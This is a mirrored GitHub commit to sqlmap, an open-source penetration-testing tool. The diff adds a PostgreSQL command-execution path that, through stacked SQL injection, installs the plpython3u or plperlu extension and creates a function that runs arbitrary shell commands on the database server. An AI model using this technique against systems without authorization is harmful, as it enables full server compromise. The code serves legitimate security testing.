mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-08-04 14:55:40 +00:00
Implementing PostgreSQL PL-extension RCE
This commit is contained in:
parent
38ab43f29e
commit
dab476da8a
3 changed files with 54 additions and 2 deletions
|
|
@ -20,7 +20,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.7.97"
|
||||
VERSION = "1.10.7.98"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
|
|||
|
|
@ -52,6 +52,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
|
|||
elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
|
||||
self.webBackdoorRunCmd(cmd)
|
||||
|
||||
elif Backend.isDbms(DBMS.PGSQL) and self.checkPlExec():
|
||||
self.plExecCmd(cmd, silent=silent)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
self.udfExecCmd(cmd, silent=silent)
|
||||
|
||||
|
|
@ -74,6 +77,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
|
|||
elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
|
||||
retVal = self.webBackdoorRunCmd(cmd)
|
||||
|
||||
elif Backend.isDbms(DBMS.PGSQL) and self.checkPlExec():
|
||||
retVal = self.plExecCmd(cmd)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
retVal = self.udfEvalCmd(cmd, first, last)
|
||||
|
||||
|
|
@ -221,7 +227,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
|
|||
|
||||
logger.warning(warnMsg)
|
||||
|
||||
if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
|
||||
if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and (self.checkCopyExec() or self.checkPlExec()):
|
||||
success = True
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
success = self.udfInjectSys()
|
||||
|
|
|
|||
|
|
@ -17,6 +17,7 @@ from lib.core.common import isNoneValue
|
|||
from lib.core.common import isStackingAvailable
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.compat import LooseVersion
|
||||
from lib.core.convert import getText
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
|
|
@ -128,3 +129,48 @@ class Takeover(GenericTakeover):
|
|||
kb.copyExecTest = self.copyExecCmd("echo 1") == '1'
|
||||
|
||||
return kb.copyExecTest
|
||||
|
||||
def _plRun(self, func, cmd):
|
||||
output = inject.getValue("%s('%s')" % (func, cmd.replace("'", "''")), resumeValue=False, safeCharEncode=False)
|
||||
|
||||
if isListLike(output):
|
||||
output = flattenValue(output)
|
||||
output = filterNone(output)
|
||||
|
||||
if not isNoneValue(output):
|
||||
output = os.linesep.join(getText(_) for _ in output)
|
||||
|
||||
return output
|
||||
|
||||
def _plExecFunc(self):
|
||||
# NOTE: forge a command-exec function through an untrusted procedural language. Unlike the shared
|
||||
# library UDF this needs no precompiled binary (the ancient 'lib_postgresqludf_sys' artifacts),
|
||||
# only a superuser-installable language - a maintainable fallback when 'COPY ... FROM PROGRAM' is blocked
|
||||
if kb.get("plExecFunc") is None:
|
||||
kb.plExecFunc = ""
|
||||
|
||||
if isStackingAvailable() or conf.direct:
|
||||
func = randomStr(lowercase=True)
|
||||
|
||||
for language, body in (("plpython3u", "import subprocess; return subprocess.check_output(cmd, shell=True).decode()"),
|
||||
("plperlu", "return `$_[0]`;")):
|
||||
inject.goStacked("CREATE EXTENSION IF NOT EXISTS %s" % language, silent=True)
|
||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(cmd text) RETURNS text AS $$ %s $$ LANGUAGE %s" % (func, body, language), silent=True)
|
||||
|
||||
if (self._plRun(func, "echo 1") or "").strip() == '1':
|
||||
kb.plExecFunc = func
|
||||
|
||||
infoMsg = "the back-end DBMS allows command execution via the '%s' procedural language" % language
|
||||
logger.info(infoMsg)
|
||||
|
||||
break
|
||||
|
||||
return kb.plExecFunc or None
|
||||
|
||||
def checkPlExec(self):
|
||||
return self._plExecFunc() is not None
|
||||
|
||||
def plExecCmd(self, cmd, silent=False):
|
||||
func = self._plExecFunc()
|
||||
|
||||
return self._plRun(func, cmd) if func else None
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue